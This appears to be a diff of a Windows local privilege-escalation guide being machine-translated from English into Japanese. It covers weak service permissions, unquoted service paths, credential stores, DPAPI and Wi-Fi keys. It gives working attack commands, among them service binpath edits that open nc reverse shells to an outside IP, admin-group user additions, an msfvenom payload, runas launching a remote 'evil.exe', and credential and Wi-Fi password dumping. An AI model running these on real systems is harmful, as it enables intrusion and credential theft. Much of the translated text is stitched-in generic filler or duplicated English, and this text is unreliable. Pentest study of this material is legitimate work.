+_このサービスは無効化されているか、または関連付けられた有効なデバイスがありません。_ +以下の方法で有効化することができます。 ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` +**この問題では、サービスupnphostはSSDPSRVに依存して動作します(XP SP1の場合)** -**Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)** - -**Another workaround** of this problem is running: - +**この問題の別の回避策は、次のコマンドを実行することです:** ``` sc.exe config usosvc start= auto ``` +### **サービスのバイナリパスの変更** -### **Modify service binary path** - -If the group "Authenticated users" has **SERVICE\_ALL\_ACCESS** in a service, then it can modify the binary that is being executed by the service. To modify it and execute **nc** you can do: - +もしグループ「認証済みユーザー」がサービスに対して **SERVICE\_ALL\_ACCESS** を持っている場合、そのサービスが実行するバイナリを変更することができます。変更して **nc** を実行するには、以下の手順を実行します: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -543,47 +738,57 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` +### サービスの再起動 -### Restart service +To restart a service in Windows, you can use the following command: +``` +net stop [service name] +net start [service name] +``` + +Replace `[service name]` with the name of the service you want to restart. + +Windowsサービスを再起動するには、次のコマンドを使用します。 + +``` +net stop [サービス名] +net start [サービス名] +``` + +`[サービス名]`の部分を再起動したいサービスの名前に置き換えてください。 ``` wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` +他の権限を使用して特権をエスカレーションすることができます:\ +**SERVICE\_CHANGE\_CONFIG** サービスバイナリを再構成できます\ +**WRITE\_DAC:** 権限を再構成し、SERVICE\_CHANGE\_CONFIGにつながります\ +**WRITE\_OWNER:** オーナーになり、権限を再構成できます\ +**GENERIC\_WRITE:** SERVICE\_CHANGE\_CONFIGを継承します\ +**GENERIC\_ALL:** SERVICE\_CHANGE\_CONFIGを継承します -Other Permissions can be used to escalate privileges:\ -**SERVICE\_CHANGE\_CONFIG** Can reconfigure the service binary\ -**WRITE\_DAC:** Can reconfigure permissions, leading to SERVICE\_CHANGE\_CONFIG\ -**WRITE\_OWNER:** Can become owner, reconfigure permissions\ -**GENERIC\_WRITE:** Inherits SERVICE\_CHANGE\_CONFIG\ -**GENERIC\_ALL:** Inherits SERVICE\_CHANGE\_CONFIG +この脆弱性を**検出して利用する**には、_exploit/windows/local/service\_permissions_を使用できます。 -**To detect and exploit** this vulnerability you can use _exploit/windows/local/service\_permissions_ - -### Services binaries weak permissions - -**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking.md))**.**\ -You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**: +### サービスバイナリの弱い権限 +サービスによって実行されるバイナリを変更できるか、またはバイナリが配置されているフォルダに**書き込み権限**があるか([**DLLハイジャッキング**](dll-hijacking.md))を確認してください。\ +**wmic**(system32ではない)を使用して、サービスによって実行されるすべてのバイナリを取得し、**icacls**を使用して権限を確認できます: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` - -You can also use **sc** and **icacls**: - +**sc**と**icacls**も使用することができます: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` +### サービスのレジストリ変更権限 -### Services registry modify permissions - -You should check if you can modify any service registry.\ -You can **check** your **permissions** over a service **registry** doing: - +サービスのレジストリを変更できるかどうかを確認する必要があります。\ +次の手順で、サービスのレジストリに対する権限を確認できます。 ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -592,70 +797,72 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` +**Authenticated Users**または**NT AUTHORITY\INTERACTIVE**がFullControlを持っているかどうかを確認します。その場合、サービスによって実行されるバイナリを変更することができます。 -Check if **Authenticated Users** or **NT AUTHORITY\INTERACTIVE** have FullControl. In that case you can change the binary that is going to be executed by the service. - -To change the Path of the binary executed: - +実行されるバイナリのパスを変更するには: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` +### サービスレジストリのAppendData/AddSubdirectory権限 -### Services registry AppendData/AddSubdirectory permissions - -If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:** +レジストリにこの権限がある場合、**このレジストリからサブレジストリを作成することができます**。Windowsサービスの場合、これは**任意のコードを実行するために十分です**。 {% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} [appenddata-addsubdirectory-permission-over-service-registry.md](appenddata-addsubdirectory-permission-over-service-registry.md) {% endcontent-ref %} -### Unquoted Service Paths +### クォートされていないサービスパス -If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. - -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +実行可能ファイルのパスがクォートで囲まれていない場合、Windowsはスペースの前までのすべての終了部分を実行しようとします。 +例えば、パスが _C:\Program Files\Some Folder\Service.exe_ の場合、Windowsは以下を実行しようとします: ``` -C:\Program.exe -C:\Program Files\Some.exe +C:\Program.exe +C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` +## ビルトインのWindowsサービスを除いたすべてのクォートされていないサービスパスをリストするには -To list all unquoted service paths (minus built-in Windows services) +クォートされていないサービスパスをリストするには、次のコマンドを使用します。 +```plaintext +wmic service where 'not PathName like "%\"%" and not PathName like "%\\%\\%"' get Name, PathName, DisplayName, State +``` + +このコマンドは、`wmic`コマンドを使用して、クォートされていないサービスパスを持つすべてのサービスの名前、パス、表示名、および状態を取得します。 + +ただし、このコマンドはビルトインのWindowsサービスを除外しています。ビルトインのWindowsサービスを含めるには、`wmic`コマンドのフィルタリング条件を変更する必要があります。 + +このコマンドを実行すると、クォートされていないサービスパスを持つすべてのサービスの詳細が表示されます。これにより、特権の昇格につながる可能性のある脆弱性が特定される場合があります。 ```bash wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """ wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services #Other way for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( - for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( - echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. - ) +for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( +echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. +) ) ``` ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` - -**You can detect and exploit** this vulnerability with metasploit: _exploit/windows/local/trusted\_service\_path_\ -You can manually create a service binary with metasploit: - +この脆弱性は、metasploitを使用して検出および悪用することができます: _exploit/windows/local/trusted\_service\_path_\ +metasploitを使用して、手動でサービスバイナリを作成することもできます: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` +### 回復手順 -### Recovery Actions +Windowsには、[サービスの実行時に失敗した場合に実行するべき動作を指定する](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662\(v=ws.11\)?redirectedfrom=MSDN)ことができます。もし設定がバイナリを指しており、そのバイナリが上書き可能であれば、特権を昇格させることができるかもしれません。 -It's possible to indicate Windows what it should do[ when executing a service this fails](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662\(v=ws.11\)?redirectedfrom=MSDN). If that setting is pointing a binary and this binary can be overwritten you may be able to escalate privileges. +## アプリケーション -## Applications - -### Installed Applications - -Check **permissions of the binaries** (maybe you can overwrite one and escalate privileges) and of the **folders** ([DLL Hijacking](dll-hijacking.md)). +### インストールされたアプリケーション +**バイナリのパーミッション**(上書きして特権を昇格させることができるかもしれません)と**フォルダのパーミッション**([DLLハイジャッキング](dll-hijacking.md))をチェックしてください。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -664,15 +871,13 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` +### 書き込み権限 -### Write Permissions - -Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks). - -A way to find weak folder/files permissions in the system is doing: +特定のファイルを読み取るためにいくつかの設定ファイルを変更できるか、または管理者アカウント(schedtasks)によって実行される予定のバイナリを変更できるかどうかを確認してください。 +システム内の弱いフォルダ/ファイルの権限を見つける方法は次のとおりです: ```bash -accesschk.exe /accepteula +accesschk.exe /accepteula # Find all weak folder permissions per drive. accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ @@ -689,50 +894,44 @@ icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ eve ``` ```bash -Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} +Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` +### スタートアップ時に実行する -### Run at startup - -**Check if you can overwrite some registry or binary that is going to be executed by a different user.**\ -**Read** the **following page** to learn more about interesting **autoruns locations to escalate privileges**: +**異なるユーザーによって実行されるレジストリまたはバイナリを上書きできるかどうかを確認してください。**\ +特権をエスカレーションするための興味深い**オートランの場所**については、**次のページ**を参照してください: {% content-ref url="privilege-escalation-with-autorun-binaries.md" %} [privilege-escalation-with-autorun-binaries.md](privilege-escalation-with-autorun-binaries.md) {% endcontent-ref %} -### Drivers - -Look for possible **third party weird/vulnerable** drivers +### ドライバー +**サードパーティの奇妙な/脆弱性のある**ドライバーを探してください。 ``` driverquery driverquery.exe /fo table driverquery /SI ``` +## PATH DLLハイジャック -## PATH DLL Hijacking - -If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. - -Check permissions of all folders inside PATH: +もし、PATHに存在するフォルダ内に**書き込み権限**がある場合、プロセスによってロードされるDLLをハイジャックし、**特権を昇格**することができるかもしれません。 +PATH内のすべてのフォルダの権限をチェックしてください。 ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` - -For more information about how to abuse this check: +このチェックを悪用する方法の詳細については、以下を参照してください: {% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} [writable-sys-path-+dll-hijacking-privesc.md](dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md) {% endcontent-ref %} -## Network - -### Shares +## ネットワーク +### 共有フォルダ ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -740,77 +939,113 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` +### hostsファイル -### hosts file - -Check for other known computers hardcoded on the hosts file - +hostsファイルにハードコードされた他の既知のコンピュータを確認します。 ``` type C:\Windows\System32\drivers\etc\hosts ``` +### ネットワークインターフェースとDNS -### Network Interfaces & DNS +In this section, we will explore techniques related to network interfaces and DNS that can be used for local privilege escalation on Windows systems. +#### Network Interfaces + +Network interfaces play a crucial role in connecting a system to a network. By manipulating network interfaces, an attacker can gain unauthorized access or escalate privileges on a target system. + +##### ARP Poisoning + +ARP poisoning is a technique used to intercept network traffic by manipulating the Address Resolution Protocol (ARP) cache of a target system. By poisoning the ARP cache, an attacker can redirect network traffic to their own machine, allowing them to intercept and manipulate the data. + +##### DHCP Attacks + +Dynamic Host Configuration Protocol (DHCP) attacks involve exploiting vulnerabilities in the DHCP server or client to gain unauthorized access or escalate privileges. By manipulating DHCP requests and responses, an attacker can obtain an IP address lease, perform a man-in-the-middle attack, or execute other malicious activities. + +##### DNS Spoofing + +DNS spoofing is a technique used to redirect DNS queries to a malicious DNS server controlled by an attacker. By spoofing DNS responses, an attacker can redirect users to fake websites or intercept their network traffic, potentially leading to unauthorized access or privilege escalation. + +#### DNS + +The Domain Name System (DNS) is responsible for translating domain names into IP addresses. By manipulating DNS settings, an attacker can redirect network traffic, intercept communications, or gain unauthorized access to a target system. + +##### DNS Cache Poisoning + +DNS cache poisoning involves injecting malicious DNS records into a DNS cache, causing the system to associate incorrect IP addresses with domain names. By poisoning the DNS cache, an attacker can redirect users to malicious websites or intercept their network traffic. + +##### DNS Tunneling + +DNS tunneling is a technique used to bypass network security measures by encapsulating non-DNS traffic within DNS packets. By using DNS tunneling, an attacker can exfiltrate data, bypass firewalls, or establish covert communication channels. + +##### DNS Rebinding + +DNS rebinding is an attack technique that allows an attacker to bypass the same-origin policy enforced by web browsers. By exploiting DNS rebinding vulnerabilities, an attacker can trick a victim's browser into making requests to a malicious website, potentially leading to unauthorized access or privilege escalation. + +By understanding and exploiting vulnerabilities related to network interfaces and DNS, an attacker can escalate their privileges on a Windows system. It is crucial for system administrators to implement proper security measures to protect against these techniques. ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` +### オープンポート -### Open Ports - -Check for **restricted services** from the outside - +外部からの**制限されたサービス**をチェックします。 ```bash netstat -ano #Opened ports? ``` +### ルーティングテーブル -### Routing Table +The routing table is a data structure used by the operating system to determine the path that network traffic should take. It contains a list of network destinations and the corresponding next-hop addresses or interfaces. When a packet is received, the operating system consults the routing table to determine where to send the packet next. +ルーティングテーブルは、オペレーティングシステムがネットワークトラフィックの経路を決定するために使用するデータ構造です。ネットワークの宛先とそれに対応する次のホップアドレスまたはインターフェースのリストが含まれています。パケットが受信されると、オペレーティングシステムはルーティングテーブルを参照して、次にパケットを送信する場所を決定します。 ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` +### ARPテーブル -### ARP Table +ARP(Address Resolution Protocol)テーブルは、ネットワークデバイスにおいて、IPアドレスとMACアドレスの対応関係を保持するテーブルです。ARPテーブルは、ネットワーク通信において、IPアドレスからMACアドレスを解決するために使用されます。 +ARPテーブルは、以下のコマンドを使用して表示することができます。 + +```bash +arp -a +``` + +このコマンドを実行すると、現在のARPテーブルのエントリが表示されます。各エントリには、IPアドレス、MACアドレス、およびインターフェースが含まれています。 + +ARPテーブルは、ネットワーク攻撃において重要な情報源となる場合があります。攻撃者は、ARPテーブルを使用して、ネットワーク内のデバイスのIPアドレスとMACアドレスの対応関係を特定し、悪意のある行動を行うことができます。したがって、ARPテーブルのセキュリティを強化することは重要です。 ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` +### ファイアウォールのルール -### Firewall Rules +[**ファイアウォールに関連するコマンドはこちらを参照してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールの一覧表示、ルールの作成、無効化、有効化...)** -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(list rules, create rules, turn off, turn off...)** - -More[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +ネットワーク列挙のための[その他のコマンドはこちら](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) - ``` C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` +バイナリの `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つけることができます。 -Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` - -If you get root user you can listen on any port (the first time you use `nc.exe` to listen on a port it will ask via GUI if `nc` should be allowed by the firewall). - +ルートユーザーになると、任意のポートでリッスンすることができます(`nc.exe` を使用してポートでリッスンする場合、最初にファイアウォールで `nc` を許可するかどうかをGUIで確認されます)。 ``` wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` +簡単にrootとしてbashを起動するには、`--default-user root`を試してみることができます。 -To easily start bash as root, you can try `--default-user root` +`WSL`のファイルシステムを`C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`フォルダで探索することができます。 -You can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` - -## Windows Credentials - -### Winlogon Credentials +## Windowsの資格情報 +### Winlogonの資格情報 ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -822,77 +1057,65 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` +### 資格情報マネージャー / Windows Vault -### Credentials manager / Windows vault +[https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)から\ +Windows Vaultは、**Windowsがユーザーを自動的にログインできるようにするために、サーバー、ウェブサイト、その他のプログラムのユーザーの資格情報を保存**します。最初のインスタンスでは、これはユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存して、ブラウザ経由で自動的にログインできるようになると思われるかもしれませんが、実際はそうではありません。 -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -The Windows Vault stores user credentials for servers, websites and other programs that **Windows** can **log in the users automaticall**y. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so. +Windows Vaultは、Windowsがユーザーを自動的にログインできるようにするための資格情報を保存するため、**Windowsアプリケーションはリソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な場合、このCredential ManagerとWindows Vaultを利用してユーザーが入力する代わりに提供された資格情報を使用することができます**。 -Windows Vault stores credentials that Windows can log in the users automatically, which means that any **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** & Windows Vault and use the credentials supplied instead of users entering the username and password all the time. - -Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow **communicate with the credential manager and request the credentials for that resource** from the default storage vault. - -Use the `cmdkey` to list the stored credentials on the machine. +アプリケーションがCredential Managerと対話しない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、アプリケーションがVaultを利用する場合、デフォルトのストレージVaultからそのリソースの資格情報を要求するために、何らかの方法で**Credential Managerと通信する必要があります**。 +`cmdkey`を使用して、マシンに保存されている資格情報の一覧を表示します。 ``` cmdkey /list Currently stored credentials: - Target: Domain:interactive=WORKGROUP\Administrator - Type: Domain Password - User: WORKGROUP\Administrator +Target: Domain:interactive=WORKGROUP\Administrator +Type: Domain Password +User: WORKGROUP\Administrator ``` - -Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share. - +次に、保存された資格情報を使用するために、`runas`を`/savecred`オプションとともに使用することができます。以下の例は、SMB共有を介してリモートバイナリを呼び出しています。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` - -Using `runas` with a provided set of credential. - +指定された資格情報を使用して `runas` を実行します。 ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` - -Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials\_file\_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault\_password\_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/credentials/dumpCredStore.ps1). +注意してください。mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials\_file\_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault\_password\_view.html)、または[Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/credentials/dumpCredStore.ps1)から情報を取得することができます。 ### DPAPI -In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy. +理論的には、Data Protection API(DPAPI)はあらゆる種類のデータの対称暗号化を可能にすることができます。しかし、Windowsオペレーティングシステムでの主な使用目的は、ユーザーまたはシステムの秘密をエントロピーの重要な要素として使用して、非対称秘密鍵の対称暗号化を実行することです。 -**DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets**, or in the case of system encryption, using the system's domain authentication secrets. - -The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the [Security Identifier](https://en.wikipedia.org/wiki/Security\_Identifier) of that user. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS). +**DPAPIは、ユーザーのログオンシークレットから派生した対称鍵を使用してキーを暗号化することを開発者に可能にします**。また、システムの暗号化の場合は、システムのドメイン認証シークレットを使用します。 +ユーザーのRSAキーを暗号化するために使用されるDPAPIキーは、`%APPDATA%\Microsoft\Protect\{SID}`ディレクトリに保存されます。ここで、{SID}はそのユーザーの[セキュリティ識別子](https://en.wikipedia.org/wiki/Security\_Identifier)です。**DPAPIキーは、ユーザーの秘密鍵を保護するマスターキーと同じファイルに保存されます**。通常、これは64バイトのランダムデータです。(このディレクトリは保護されているため、cmdから`dir`コマンドでリストすることはできませんが、PowerShellからはリストすることができます)。 ``` Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` +適切な引数(`/pvk`または`/rpc`)を使用して、**mimikatzモジュール** `dpapi::masterkey`を使用して、それを復号化することができます。 -You can use **mimikatz module** `dpapi::masterkey` with the appropriate arguments (`/pvk` or `/rpc`) to decrypt it. - -The **credentials files protected by the master password** are usually located in: - +通常、**マスターパスワードで保護された資格情報ファイル**は以下の場所にあります: ``` dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` - -You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\ -You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module (if you are root). +**mimikatzモジュール** `dpapi::cred`を使用して、適切な`/masterkey`で復号化することができます。\ +`sekurlsa::dpapi`モジュールを使用して、**メモリ**から**多くのDPAPIマスターキー**を抽出することができます(ルートユーザーの場合)。 {% content-ref url="dpapi-extracting-passwords.md" %} [dpapi-extracting-passwords.md](dpapi-extracting-passwords.md) {% endcontent-ref %} -### PowerShell Credentials +### PowerShellの資格情報 -**PowerShell credentials** are often used for **scripting** and automation tasks as a way to store encrypted credentials conveniently. The credentials are protected using **DPAPI**, which typically means they can only be decrypted by the same user on the same computer they were created on. - -To **decrypt** a PS credentials from the file containing it you can do: +**PowerShellの資格情報**は、スクリプトや自動化タスクでよく使用され、暗号化された資格情報を便利に保存するための方法です。これらの資格情報は通常、作成されたコンピューター上の同じユーザーによってのみ復号化できるように**DPAPI**で保護されています。 +ファイルに含まれるPS資格情報を**復号化**するには、次の手順を実行します: ``` PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -903,9 +1126,19 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` - ### Wifi +Wi-Fiは、ワイヤレスネットワークに接続するための技術です。一般的に、ルーターまたはアクセスポイントを介してインターネットに接続するために使用されます。ワイヤレスネットワークを利用するためには、デバイスがWi-Fiに対応している必要があります。 + +Wi-Fiネットワークは、SSID(サービスセットID)と呼ばれる識別子で識別されます。SSIDは、ネットワークの名前を表します。一般的に、SSIDはルーターまたはアクセスポイントの設定で変更することができます。 + +Wi-Fiネットワークに接続するためには、正しいSSIDとパスワードが必要です。一度接続すると、デバイスは自動的にネットワークに接続されます。ただし、セキュリティのために、一部のネットワークはパスワードを入力する必要があります。 + +Wi-Fiネットワークは、一般的に暗号化されています。暗号化は、ネットワーク上のデータを保護するためのセキュリティ機能です。一般的な暗号化方式には、WEP、WPA、WPA2などがあります。WPA2は最も安全な暗号化方式とされています。 + +Wi-Fiネットワークは、一般的に屋内や屋外で使用されます。屋内では、家庭やオフィスなどで使用されることが一般的です。屋外では、公共の場所やカフェ、ホテルなどで使用されることがあります。 + +Wi-Fiネットワークは、便利で広く利用されていますが、セキュリティ上のリスクも存在します。不正なアクセスポイントやパスワードの漏洩などの問題が発生する可能性があります。そのため、セキュリティ対策を適切に行うことが重要です。 ```bash #List saved Wifi using netsh wlan show profile @@ -914,166 +1147,180 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on ``` +### 保存されたRDP接続 -### Saved RDP Connections - -You can find them on `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` - -### Recently Run Commands +`HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`および`HKCU\Software\Microsoft\Terminal Server Client\Servers\`で見つけることができます。 +### 最近実行されたコマンド ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` +### **リモートデスクトップ資格情報マネージャー** -### **Remote Desktop Credential Manager** +Remote Desktop Credential Manager is a Windows feature that allows users to save and manage their Remote Desktop credentials. These credentials are used to authenticate and establish a remote desktop session with another computer or server. +リモートデスクトップ資格情報マネージャーは、Windowsの機能であり、ユーザーがリモートデスクトップの資格情報を保存および管理することができます。これらの資格情報は、別のコンピュータやサーバーとのリモートデスクトップセッションを認証および確立するために使用されます。 + +By default, the Remote Desktop Credential Manager stores the credentials securely in the Windows Credential Manager. However, if an attacker gains access to the user's account, they can potentially extract these credentials and use them for unauthorized access. + +デフォルトでは、リモートデスクトップ資格情報マネージャーは、Windowsの資格情報マネージャーに資格情報を安全に保存します。しかし、攻撃者がユーザーアカウントにアクセスできる場合、これらの資格情報を抽出して不正アクセスに使用する可能性があります。 + +To protect against this, it is recommended to regularly review and remove any unnecessary or outdated credentials from the Remote Desktop Credential Manager. Additionally, enabling strong password policies and multi-factor authentication can further enhance the security of remote desktop sessions. + +これを防ぐためには、定期的にリモートデスクトップ資格情報マネージャーから不要なまたは古い資格情報を確認し、削除することをおすすめします。さらに、強力なパスワードポリシーと多要素認証を有効にすることで、リモートデスクトップセッションのセキュリティをさらに強化することができます。 ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` - -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module - ### Sticky Notes -People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. 